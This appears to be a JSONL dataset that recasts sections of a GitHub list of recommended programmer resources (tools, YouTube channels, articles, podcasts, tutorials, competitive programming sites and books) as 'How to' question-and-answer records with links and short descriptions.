{"id": "gh_23b42a60e2e1", "question": "How to: 📦 Everything in one place", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [API Documentation](http://devdocs.io) : A one-place well-known API Documentation with a searchable interface\n- [Baeldung](https://www.baeldung.com) : Step-by-step guides for Spring, rest, Java, security, persistence, Jackson, HTTP client-side and Kotlin\n- [BtechBasics](https://btechbasics.in/) : Fundamental concepts of Computer Science Engineering using hands-on exercises\n- [Branition Colors](https://branition.com/colors) : Collection of hand-curated color palettes best fitted for branding.\n- [cheat.sh](https://github.com/chubin/cheat.sh) : `curl cheat.sh` — the only cheat sheet you need — instant answers on programming questions with `curl`\n- [Developer Roadmaps](https://roadmap.sh/) : Step by step guides and paths to learn different tools or technologies\n- [DevURLs](https://devurls.com/) : Developer news aggregator\n- [Kaggle](https://www.kaggle.com/) : All-in-one Machine Learning and Data Science Community – access free GPUs and a huge repository of community published data & code.\n- [MDN Web Docs](https://developer.mozilla.org/en-US/) : A place with all the documentation of the web standards\n- [Rico's cheatsheets](https://devhints.io) : A set of good cheatsheets\n- [Programming Subreddits](https://www.reddit.com/user/ashish2199/m/cs_student_subs/) : a multisubreddit of all subreddits of topics related to computer science and programming.\n- [Websites a programmer should visit](https://www.quora.com/What-are-the-best-websites-a-programmer-should-visit/answer/Ashish-Padalkar?srid=OH96) : Response on Quora by ashish2199\n- [gitignore](https://www.gitignore.io/) : A collection of useful .gitignore templates for your project. Select from 442 Operating System, IDE, and Programming Language\n- [Hidden Tools](https://hiddentools.dev/) : Discover a wide collection of tools made by the community - for you. ✨\n- [Coolors](https://coolors.co/) : Create the perfect palette or get inspired by thousands of beautiful color schemes.\n- [Tailwind CSS Page Builder](https://devdojo.com/tails/app) :  The perfect Tailwind CSS Page Builder\n- [LottieFiles](https://lottiefiles.com/) : The world’s largest online platform for the world’s smallest animation format for designers, developers, and more. Access Lottie animation tools and plugins for Android, iOS, and Web.\n- [UI Design Daily](https://www.uidesigndaily.com/) :Weekly FREE UI resources straight to your inbox\n- [Iconscout](https://iconscout.com/) : Over 2.2 Million+ Design Assets,  Curated SVGs, Vector Icons, Illustrations, 3D graphics, and Lottie Animations.  Over 3000+ assets added every day. Integrated plugins, tools, editors, and more.\n- [Json API App](https://www.jsonapi.co/) : Single repository for everything you need to build better products as a developer. API, DB, Queue, Server, Webhooks, Bin, Tools, Podcasts etc. Everything you need to build super apps that our world needs.\n- [Library or micro code solutions](https://onelinerhub.com/) : Community library of micro code pieces for popular issues.\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506561"}
{"id": "gh_72e519d4a70e", "question": "How to: 📺 YouTube Channels", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [C++Now (BoostCon)](https://www.youtube.com/channel/UC5e__RG9K3cHrPotPABnrwg) : C++Now (previously BoostCon) conference\n- [code::dive conference](https://www.youtube.com/channel/UCU0Rt8VHO5-YNQXwIjkf-1g) : code::dive conference organized by NOKIA Wrocław Technology Center\n- [Coding Blocks](https://www.youtube.com/user/codingblocks) : Tutorials, how to's, tips and tricks\n- [Computerphile](https://www.youtube.com/user/Computerphile/videos) : Must watch for every CS student\n- [ComputerHistory](https://www.youtube.com/user/ComputerHistory/videos) : for those who like to know how we reached where we are.\n- [CppCon](https://www.youtube.com/user/CppCon/videos?shelf_id=0&view=0&sort=dd) : C++ Conference\n- [Facebook Developers](https://www.youtube.com/user/FacebookDevelopers/videos)\n- [Google Developers](https://www.youtube.com/user/GoogleDevelopers/videos)\n- [GoogleTechTalks](https://www.youtube.com/user/GoogleTechTalks/videos) : videos on trending topics and cool stuff happening in the tech industry.\n- [Gynvael Coldwin](https://www.youtube.com/user/GynvaelEN) : Awesome reverse engineering and hacking(CTF) videocasts. Every Wednesday is new live streams.\n- [HowToBecomeTV](https://www.youtube.com/user/HowToBecomeTV/videos) : contains good interviews of developers and people related to the tech industry.\n- [Java](https://www.youtube.com/user/java/videos) : talks related to java\n- [JavaOne](https://www.youtube.com/channel/UCdDhYMT2USoLdh4SZIsu_1g/videos) : Java Conference\n- [javidx9](https://www.youtube.com/channel/UC-yuWVUplUJZvieEligKBkA/videos) : Game and graphics tutorials\n- [Meeting C++ YT Kanalseite](https://www.youtube.com/user/MeetingCPP/videos) : Talks on C++\n- [MIT OpenCourseWare](https://www.youtube.com/user/MIT/) : MIT OpenCourseWare for learning in-depth algorithms, data structures, and computer engineering\n- [Murtaza's OpenCV Robotics and AI](https://www.youtube.com/c/MurtazasWorkshopRoboticsandAI/): OpenCV, Self Driving, Robotics and AI tutorials.\n- [Netflix UI Engineering](https://www.youtube.com/channel/UCGGRRqAjPm6sL3-WGBDnKJA/videos) : great videos to watch for web developers, mobile developers and those interested in some of Netflix's tech stack\n- [O'Reilly](https://www.youtube.com/user/OreillyMedia/videos) : interviews and talks of the world's best technical writers.\n- [Placement Grid](https://www.youtube.com/user/PlacementGrid/videos) : Interview and campus placement experience\n- [Scott Meyers: Past Talks](http://www.aristeia.com/presentations.html)\n- [Siraj Raval](https://www.youtube.com/channel/UCWN3xxRkmTPmbKwht9FuE5A) : Artificial Intelligence and deep learning tutorials videos\n- [ThinMatrix](https://www.youtube.com/user/ThinMatrix/videos) : blogs and tutorials developer making a 3d game in Java using OpenGL\n- [thoughtbot](https://www.youtube.com/user/ThoughtbotVideo/videos) : talks on various topics\n- [Traversy Media](https://www.youtube.com/user/TechGuyWeb/videos) :Web development and programming\n- [yegor256](https://www.youtube.com/user/technoparkcorp/videos)\n- [GOTO Conference](https://www.youtube.com/user/GotoConferences) : tech talks from the GOTO Conference by Developers for Developers\n- [freeCodeCamp](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ) : freecodecamp youtube channel\n- [Bo Qian](https://www.youtube.com/channel/UCEOGtxYTB6vo6MQ-WQ9W_nQ) : Learn advanced c++\n- [Geeksforgeeks](https://www.youtube.com/channel/UC0RhatS1pyxInC00YKjjBqQ/videos) : geeksforgeeks youtube\n- [Hacker earth](https://www.youtube.com/channel/UCYU6nvKyRYnE5kiG9JXkXpA) : Hacker earth youtube\n- [Hak5](https://www.youtube.com/user/Hak5Darren) : Put together by a band of IT ninjas, security professionals, and hardcore gamers, Hak5 isn't your typical tech show. We take on hacking in the old-school sense.\n- [Khan Academy](https://www.youtube.com/channel/UC4a-Gbdw7vOaccHmFo40b9g) : Khan Academy youtube\n- [LearnCode.academy](https://www.youtube.com/channel/UCVTlvUkGslCV_h-nSAId8Sw) : 100% FREE Web Development tutorials, web site design tutorials, and more. Including, but not limited to: HTML, CSS, JavaScript, CSS Layouts, Responsive Design, React.js, Node.js, Angular.js, Docker, Dev\n- [Rachit Jain](https://www.youtube.com/channel/UC9fDC_eBh9e_bogw87DbGKQ/featured) : competitive programming\n- [sentdex](https://www.youtube.com/channel/UCfzlCWGWYyIQ0aLC5w48gBQ) : Python Programming tutorials, going further than just the basics. Learn about machine learning, finance, data analysis, robotics, web development, game development, and more.\n- [Steve Griffith](https://www.youtube.com/channel/UCTBGXCJHORQjivtgtMsmkAQ) : The videos on this channel are largely about web design & development with a good dose of mobile development thrown in just for fun. \n- [The Coding Train](https://www.youtube.com/channel/UCvjgXvBlbQiydffZU7m1_aw) : In this YouTube channel I publish \"creative coding\" video tutorials every week. Subjects covered range from the basics of programming languages like JavaScript (with p5.js) and Java (wi", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506583"}
{"id": "gh_3056023ca74f", "question": "How to: ✍️ Good Articles", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [14 Things I Wish I’d Known When Starting with MongoDB](https://www.infoq.com/articles/Starting-With-MongoDB/)\n- [40 Keys Computer Science Concepts Explained In Layman’s Terms](http://carlcheo.com/compsci)\n- [A Gentle Introduction To Graph Theory](https://dev.to/vaidehijoshi/a-gentle-introduction-to-graph-theory)\n- [A programmer-friendly language that compiles to Lua.](http://moonscript.org)\n- [A Software Developer’s Reading List](https://stevewedig.com/2014/02/03/software-developers-reading-list/) : Some good books and links in there.\n- [Code a TCP/IP stack](http://www.saminiir.com/lets-code-tcp-ip-stack-5-tcp-retransmission/) : Let's code a TCP/IP stack, 5: TCP Retransmission\n- [Codewords.recurse](https://codewords.recurse.com/issues/four/the-language-of-choice) : The language of choice\n- [Learn Data structure and Algorithms](https://www.freecodecamp.org/news/learn-data-structures-and-algorithms/) : List of some algorithms and data structures and learning resources.\n- [Dive into the byte code](https://www.wikiwand.com/en/Java_bytecode)\n- [Expectations of a Junior Developer](http://blog.thefirehoseproject.com/posts/expectations-of-a-junior-developer/)\n- [Getting Started with MongoDB – An Introduction](https://studio3t.com/knowledge-base/articles/mongodb-getting-started/)\n- [Linux Inside](https://0xax.gitbooks.io/linux-insides/content/Booting/linux-bootstrap-1.html)\n- [List of algorithms](https://www.wikiwand.com/en/List_of_algorithms)\n- [Step by Step Guide to Database Normalization](https://www.databasestar.com/normalization-in-dbms/): A guide to database normalization.\n- [The Key To Accelerating Your Coding Skills](http://blog.thefirehoseproject.com/posts/learn-to-code-and-be-self-reliant/)\n- [Unicode](https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-positively-must-know-about-unicode-and-character-sets-no-excuses/)\n- [We are reinventing the retail industry through innovative technology](http://multithreaded.stitchfix.com)\n- [What every programmer absolutely, positively needs to know about encodings and character sets to work with text](http://kunststube.net/encoding/)\n- [What every programmer should know about memory - PDF](https://people.freebsd.org/~lstewart/articles/cpumemory.pdf)\n- [qotoqot - improving-focus](https://qotoqot.com/blog/improving-focus/) : How I got to 200 productive hours a month\n- [Pixel Beat - Unix](http://www.pixelbeat.org/docs/unix-parallel-tools.html) : Parallel processing with Unix tools\n- [Learning Vim](https://hackernoon.com/learning-vim-what-i-wish-i-knew-b5dca186bef7) : What I Wish I Knew\n- [Write a Kernel](http://arjunsreedharan.org/post/82710718100/kernel-101-lets-write-a-kernel) : Kernel 101 – Let’s write a Kernel\n- [Learning JavaScript Design Patterns](https://addyosmani.com/resources/essentialjsdesignpatterns/book/) : the online version of the Learning JavaScript Design Patterns published by O'Reilly, released by the author Addy Osmani under CC BY-NC-ND 3.0\n- [Working with Webhooks](https://requestbin.com/blog/working-with-webhooks/) : a comprehensive guide on webhooks\n- [How I got TensorFlow Developer Certified](https://www.mrdbourke.com/how-i-got-tensorflow-developer-certified/) : Step By Step guide to pass Tensorflow Developer Certification\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506597"}
{"id": "gh_b13add3bf10d", "question": "How to: 🎧 Podcasts", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Coding Blocks](http://www.codingblocks.net) : A podcast covering topics such as best programming practices, design patterns, coding for performance, object-oriented coding, database design and implementation, tips, tricks and a whole lot of other things.\n- [Developer On Fire](http://developeronfire.com/episodes) : A podcast that shares the humanity of developers and tells stories of some of the amazing people in software, hosted by Dave Rael.\n- [Developer Tea](https://spec.fm/podcasts/developer-tea) : A podcast for developers designed to fit inside your tea break.\n- [Front End Happy Hour](http://frontendhappyhour.com) : A podcast featuring a panel of Software Engineers from Netflix, Evernote, Atlassian & LinkedIn talking over drinks about all things Front End development.\n- [Full Stack Radio](http://www.fullstackradio.com) : Everything from product design and user experience to unit testing and system administration.\n- [Groovy Podcast](http://groovypodcast.podbean.com) : A podcast dedicated to the Groovy programming language and its ecosystem.\n- [IPhreaks](https://devchat.tv/iphreaks) : A weekly group discussion about iOS development and related technology by development veterans. We discuss Apple, tools, practices, and code.\n- [JavaScript Jabber](https://devchat.tv/js-jabber) : A weekly discussion about JavaScript, front-end development, community, careers, and frameworks.\n- [Learn To Code With Me Podcast](https://learntocodewith.me/podcast/) : A Season by season of tech podcast episodes by Laurence Bradford with topics ranging from Career in Tech to lessons in doing tech business\n- [LispCast](https://lispcast.com/category/podcast/) : A podcast by Eric Normand, a functional programming expert talking about FP concepts.\n- [MS Dev Show](http://msdevshow.com) : Jason Young and Carl Schweitzer talk about the latest in developer news covering topics such as the Azure cloud, Windows, Windows Phone, Visual Studio, and cross-platform development using the Microsoft platform.\n- [React Native Radio](https://devchat.tv/react-native-radio) : A weekly discussion of the tools, techniques, and technologies used to build mobile applications with JavaScript and React.\n- [ShopTalk Show](https://shoptalkshow.com/) : A weekly podcast about just building websites from Dave Rupert and Chris Coyier.\n- [Soft Skills Engineering](https://softskills.audio/) : A weekly advice podcast for software developers about non-technical topics.\n- [Software Engineering Daily](https://softwareengineeringdaily.com) : A daily technical interview about software topics.\n- [Software Engineering Radio](http://www.se-radio.net) : A podcast targeted at the professional software developer. The goal is to be a lasting educational resource, not a newscast.\n- [Syntax](https://syntax.fm) : A Tasty Treats Podcast for Web Developers by Wes Bos & Scott Tolinski.\n- [The Bike Shed](http://bikeshed.fm) : Guests discuss their development experience and challenges with Ruby, Rails, JavaScript, and others.\n- [The Changelog](https://changelog.com/podcast) : A weekly conversation that gets to the heart of open source technologies and the people who create them.\n- [The Cynical Developer](https://cynicaldeveloper.com) : A podcast that aims to help you to improve your development knowledge and career, through explaining the latest and greatest in development technology and providing you with what you need to succeed as a developer. Covering Desktop, web, and mobile development, mainly around the .Net Stack but often looking into other software and frameworks.\n- [The Real Python Podcast](https://realpython.com/podcasts/rpp/) : A weekly Python podcast hosted by Christopher Bailey with interviews, coding tips, and conversation with guests from the Python community.\n- [Blockchain Insider by 11:FS](blockchain.global/blockchain-innovation) : Podcast to learn about the Blockchain Technology\n- [Unchained](unchainedpodcast.co) Podcast to learn about the Blockchain Technology\n- [Talk python to me](https://talkpython.fm/) Podcast to learn about Python through interviews and discussions \n- [Python bytes](https://pythonbytes.fm) Podcast to learn about the latest happenings and trends in Python\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506612"}
{"id": "gh_798732a10bdd", "question": "How to: 🔄 Building a Simple Compiler/Interpreter", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [:snowman: Possibly the smallest compiler ever](https://github.com/thejameskyle/the-super-tiny-compiler) : This is an ultra-simplified example of all the major pieces of a modern compiler written in easy to read JavaScript.\n- [Awesome Compilers](http://aalhour.com/awesome-compilers/) : Curated list of awesome resources on Compilers, Interpreters, and Runtimes.\n- [Growing a compiler](http://www.cs.dartmouth.edu/~mckeeman/cs48/mxcom/gem/html/GrowingCompiler.html) : Learn how to grow a compiler\n- [Let’s Build A Simple Interpreter. Part 1.](https://ruslanspivak.com/lsbasi-part1/) : Try to demystify compilers by building one\n- [Resources for Amateur Compiler Writers](http://c9x.me/compile/bib/) : Resources for Amateur Compiler Writers\n- [Structure and Interpretation of Computer Programs](https://sarabander.github.io/sicp/html/index.xhtml) : Structure and Interpretation of Computer Programs\n- [Writing My First Compiler](https://dev.to/fcpauldiaz/writing-my-first-compiler) : Write out your first compiler\n- [An Intro to Compilers](https://nicoleorchard.com/blog/compilers) : How to Speak to Computers, Pre-Siri\n- [Write your own compiler](http://staff.polito.it/silvano.rivoira/HowToWriteYourOwnCompiler.htm) : How to write your compiler\n- [Crafting Interpreters](http://craftinginterpreters.com/) A handbook for writing interpreters, first implementing a tree walking interpreter and later a bytecode virtual machine\n- [Writing a C Compiler](https://norasandler.com/2017/11/29/Write-a-Compiler.html) : The first post in a series by Nora Sandler on writing your own C compiler\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506621"}
{"id": "gh_1d7b94a91b71", "question": "How to: 🧑‍🏫 Tutorials", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [A Hacker's Guide to Git](https://wildlyinaccurate.com/a-hackers-guide-to-git/) : for those wanting to learn git with a solid foundation\n- [A Byte of Python](https://python.swaroopch.com) : a free beginner introduction to python\n- [Best Of - Gustavo Duarte](http://duartes.org/gustavo/blog/best-of/) : contains articles on various topics\n- [CMSI 281: Data Structures](http://cs.lmu.edu/~ray/classes/dsa/) : lightweight introduction to DS\n- [Collecting all the cheat sheets](http://overapi.com) : cheat sheets for lots of programming languages\n- [C Programming](http://users.cs.cf.ac.uk/Dave.Marshall/C/CE.html)\n- [CryptoHack](https://cryptohack.org/) : Learn cryptography through challenges and tutorials. Has a leaderboard and new challenges are added every few months. \n- [Programming Community Curated C++ Resources](https://hackr.io/tutorials/learn-c-plus-plus) : resources recommended by developers\n- [Deep C](https://www.slideshare.net/olvemaudal/deep-c) : very good presentation on C language\n- [Design Patterns: Elements of Reusable Object-Oriented Software](https://www.amazon.com/Design-Patterns-Elements-Reusable-Object-Oriented/dp/0201633612) : aka the \"Gang Of Four\" book, or GOF\n- [Dynamic programming - PrismoSkills](http://prismoskills.appspot.com/lessons/Dynamic_Programming/Chapter_01_-_Introduction.jsp) : very good resource if want to learn how to solve DP problems.\n- [Flexbox Froggy](https://flexboxfroggy.com) : a game that teaches you how to use CSS flexbox properties\n- [Git from the inside out](https://maryrosecook.com/blog/post/git-from-the-inside-out)\n- [Head First Design Patterns](https://www.amazon.com/Head-First-Design-Patterns-Brain-Friendly/dp/0596007124)\n- [How to Program in C++](http://cs.fit.edu/~mmahoney/cse2050/how2cpp.html) : Good resource for revising C++ topics and STL\n- [http://www.mysqltutorial.org/](http://www.mysqltutorial.org)\n- [indradhanush tutotials](https://indradhanush.github.io/blog/writing-a-unix-shell-part-3/) : Writing a Unix Shell\n- [Introduction to C Programming](http://www.le.ac.uk/users/rjm1/cotter/index.htm)\n- [Learn UNIX in 10 minutes](http://freeengineer.org/learnUNIXin10minutes.html)\n- [Learning the shell.](http://linuxcommand.org)\n- [Linux Journey](https://linuxjourney.com) : good site for learning Linux\n- [Linux Tutorial](https://ryanstutorials.net/linuxtutorial/) : good resource for learning Linux\n- [Missing Semester](https://missing.csail.mit.edu/) : The missing semester of your computer science education\n- [More about Github-flavored markdown](https://guides.github.com/features/mastering-markdown/)\n- [MySQL Essentials](http://www.techotopia.com/index.php/MySQL_Essentials)\n- [Open Data Structures](http://opendatastructures.org) : Excellent resource for learning about DS and algos, provides code in various languages C++, Java, and pseudocode.\n- [OS Course Notes](https://www2.cs.uic.edu/~jbell/CourseNotes/OperatingSystems/) : Chapter-wise course notes according to Galvin's book\n- [Programming, Web Development, and DevOps news, tutorials, and tools for beginners to experts](https://dzone.com)\n- [Prompt engineering](https://www.promptingguide.ai/) : Prompting Guide AI is an online resource that helps users learn and craft effective prompts for AI models to generate better and more relevant outputs.\n- [Stanford Programming Course](https://see.stanford.edu/Course/CS106A) : Full, free CS course created by Stanford\n- [SQL (Structured Query Language) in one page : SQL.SU](http://www.cheat-sheets.org/sites/sql.su/) : a very good SQL cheat sheet\n- [Subtle/Poor Man's CI](https://www.subtle.press/course/poor-mans-ci) : Learn how continuous integration platforms work under the hood, by building one of your own on top of git with Node.js\n- [TCP/IP Illustrated Series](https://en.wikipedia.org/wiki/TCP/IP_Illustrated)\n- [The Bash Guide](http://guide.bash.academy) : a very good guide for learning the Bash Shell\n- [The Descent to C](https://www.chiark.greenend.org.uk/~sgtatham/cdescent/) : for those moving to C from some higher programming language like java or python.\n- [The Linux Command Line: A Complete Introduction](https://www.amazon.com/Linux-Command-Line-Complete-Introduction/dp/1593273894)\n- [The Unix Programming Environment](http://product.half.ebay.com/The-UNIX-Programming-Environment-by-Brian-W-Kernighan-and-Rob-Pike-1983-Other/54385&tg=info)\n- [TopCoder Tutorials](https://www.topcoder.com/community/data-science/data-science-tutorials/)\n- [Tutorialspoint](https://www.tutorialspoint.com) : Text and Video Tutorials for UPSC, IAS, PCS, Civil Services, Banking, Aptitude, Questions, Answers, Explanation, Interview, Entrance, Exams, Solutions\n- [UNIX and Linux System Administration Handbook, 4th Edition](https://www.amazon.com/UNIX-Linux-System-Administration-Handbook/dp/0131480057)\n- [VimTutor+](https://vimtutorplus.herokuapp.com/exercise/1) : Learn VIM from the browser.\n- [W3Schools Online Web Tutorials](https://www.w3schools.com)\n- [Unix Shell](https://www.dartmouth.edu/~rc/", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506645"}
{"id": "gh_2761c1e67344", "question": "How to: 👀 Watch others code", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Education Ecosystem](https://www.education-ecosystem.com) : screencast of people building applications, websites, games, etc.\n- [Twitch.tv](https://www.twitch.tv/directory/game/Science%20%26%20Technology) : The programming community of twitch.\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506652"}
{"id": "gh_9a641e169db4", "question": "How to: 🧠 What should a programmer know", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Can I use](https://caniuse.com/) : A website that provides up-to-date browser support tables for support of front-end web technologies on desktop and mobile web browsers.\n- [GitHub.com Build software better, together](https://github.com) : Place to showcase your project and collaborate with others. (Must know Git to use it effectively)\n- [GitLab](https://about.gitlab.com) : An alternative to GitHub that offers free unlimited (private) repositories and unlimited collaborators.\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506658"}
{"id": "gh_8f53df043cda", "question": "How to: ⚔️  Competitive programming", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Topic Wise Problem For Competitive Programmer](https://a2oj.com/categories) : Topic wise Practise Problem\n- [Advent of Code](https://adventofcode.com) : An Advent calendar of small programming puzzles\n- [Archived Problems - Project Euler](https://projecteuler.net/archives) : Problems Archives\n- [Art of Problem Solving](https://artofproblemsolving.com) : Is math class too easy for you? You've come to the right place!\n- [AtCoder](https://atcoder.jp/) : One of the best places to build competitive programming skills for beginners to experts.\n- [CodeChef](https://www.codechef.com) : The only programming contests Web 2.0 platform\n- [CodeSignal](https://app.codesignal.com) : Test your coding skills\n- [CodeEval](https://www.codeeval.dev/) : Notepad for notes and code snippets, stored locally in the browser\n- [Codeforces](http://codeforces.com) : Programming Competition,Programming Contest,Online Computer Programming\n- [Codewars](https://www.codewars.com) : Rank up by completing code kata\n- [Codility](https://codility.com) : Verify and improve coding skills\n- [Codingame](https://www.codingame.com/start) : Learn coding through games and challenges!\n- [Facebook Hacker Cup](https://www.facebook.com/hackercup/) : Facebook's Programming Contest, past problems solutions and FAQ\n- [Google Coding Competitions Archive](https://zibada.guru/gcj/) : past contest problems for practice\n- [HackerEarth - Programming challenges and Developer jobs](https://www.hackerearth.com)\n- [HackerRank](https://www.hackerrank.com) : Practice coding. Compete. Find jobs.\n- [LightOJ](https://lightoj.com) : Practicing at lightoj is so good for beginners as it is categorized and have also chat room and forum which helps to communicate with others about any problem.\n- [PKU ACM ICPC Practice problems](http://poj.org/problemlist) : Judge online for ACMACPC\n- [Sphere Online Judge (SPOJ)](http://www.spoj.com) : Become a true programming master Learn how to code and build efficient algorithms\n- [Topcoder](https://www.topcoder.com) : Deliver Faster through Crowdsourcing\n- [URI Online Judge](https://www.urionlinejudge.com.br/judge/en/register) : Practice coding, Compete and be a better coder.\n- [UVa Online Judge](https://uva.onlinejudge.org) : hundreds of problems supporting multiple languages.\n- [WakaTime](https://wakatime.com) : leaderboards of coding metrics collected via editor plugins\n- [PrepBytes](https://mycode.prepbytes.com/competitive-coding/practice) : Topic and level wise proper arrange problems \n- [A2OJ Ladders](https://a2oj.com/Ladders.html) : Practice codeforces problems based on your proficiency and difficulty\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506670"}
{"id": "gh_7d80b371b38e", "question": "How to: 📖 Computer Books", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Become a Programmer, Motherfucker (list of books)](http://programming-motherfucker.com/become.html) : Exhaustive list of books from Zed A. Shaw.\n- [Best books for GATE CSE](http://gatecse.in/best-books-for-gatecse/)\n- [cses.fi/book.html](https://cses.fi/book.html)\n- [github.com/vhf/free-programming-books](https://github.com/EbookFoundation/free-programming-books/blob/master/README.md) : More than 500 free ebooks on almost any language you can think of\n- [GitBook](https://www.gitbook.com) : GitBook helps your team write, collaborate, and publish content online.\n- [Data Science course](https://jakevdp.github.io/PythonDataScienceHandbook/) : Python Data Science Handbook\n- [Goal Kicker](https://goalkicker.com) : Programming Notes for Professionals books\n- [The GraphQL Guide](https://graphql.guide) : The complete guide to GraphQL, the new REST ✨\n- [Eloquent JavaScript](https://eloquentjavascript.net/) : A book about JavaScript, programming, and the wonders of the digital.\n- [programmingbooks.dev](https://www.programmingbooks.dev) : An Ordered and Curated Reading List for Software Craftsmanship Growth.\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506678"}
{"id": "gh_dffcbd030a9c", "question": "How to: 🔴 Video Tutorials", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Aditya Verma](https://www.youtube.com/channel/UC5WO7o71wvxMxEtLRkPhiQQ): Algorithm tutorials playlists by an Indian youtuber Aditya verma.\n- [codedamn](https://www.youtube.com/channel/UCJUmE61LxhbhudzUugHL2wQ/videos) : front end web dev tutorials\n- [Code School](https://www.codeschool.com) : A PluralSight Company and an Interactive learning destination for aspiring and experienced Developers\n- [CodingMadeEasy](https://www.youtube.com/user/CodingMadeEasy/videos) : C++ tutorials\n- [CS1: Higher Computing - Richard Buckland UNSW](https://www.youtube.com/playlist?list=PL6B940F08B9773B9F) : a very good introductory CS course\n- [Derek Banas](https://www.youtube.com/user/derekbanas/videos) : good quality tutorials\n- [Design and Analysis of Algorithms](http://openclassroom.stanford.edu/MainFolder/CoursePage.php?course=IntroToAlgorithms)\n- [DevTips](https://www.youtube.com/user/DevTipsForDesigners/videos) : web dev tutorials\n- [FreeCourses](https://freecourses.github.io) : Free courses about programming\n- [Kathryn Hodge](https://www.youtube.com/channel/UC4DwZ2VXM2KWtzHjVk9M_xg/videos) : Has good videos for beginners\n- [Kunal Kushwaha](https://www.youtube.com/watch?v=apGV9Kg7ics) : An amazing guide to Git and GitHub for beginners\n- [mycodeschool](https://www.youtube.com/user/mycodeschool/videos) : Data structures and algorithms tutorials\n- [Pluralsight](https://www.pluralsight.com) : Learn Software Development, DevOps and Data Science through multiple short courses\n- [thenewboston](https://www.youtube.com/user/thenewboston/videos) : good but with too much talk as compared to actual content\n- [Tushar Roy](https://www.youtube.com/user/tusharroy2525/videos) : Algorithm and Data structure tutorial by an Indian Youtuber.\n- [Vim Tutorial Videos - Flarfnoogins](http://derekwyatt.org/vim/tutorials/index.html) : good video tutorial for learning vim\n- [XDA-University - Helping You Learn Android Development](https://forum.xda-developers.com/general/xda-university)\n- [Khan Academy](https://www.khanacademy.org/computing/computer-science) : learn about computer science for free\n- [Functional programming](https://www.youtube.com/watch?v=1PhArSujR_A) : John Carmack on Functional Programming (2013)\n- [Video about vims](https://vimeo.com/album/2838732) : A serie of tutorials about Vim\n- [Mastering Next.js](https://masteringnextjs.com/) : A free serie of videos to learn Next.js\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506690"}
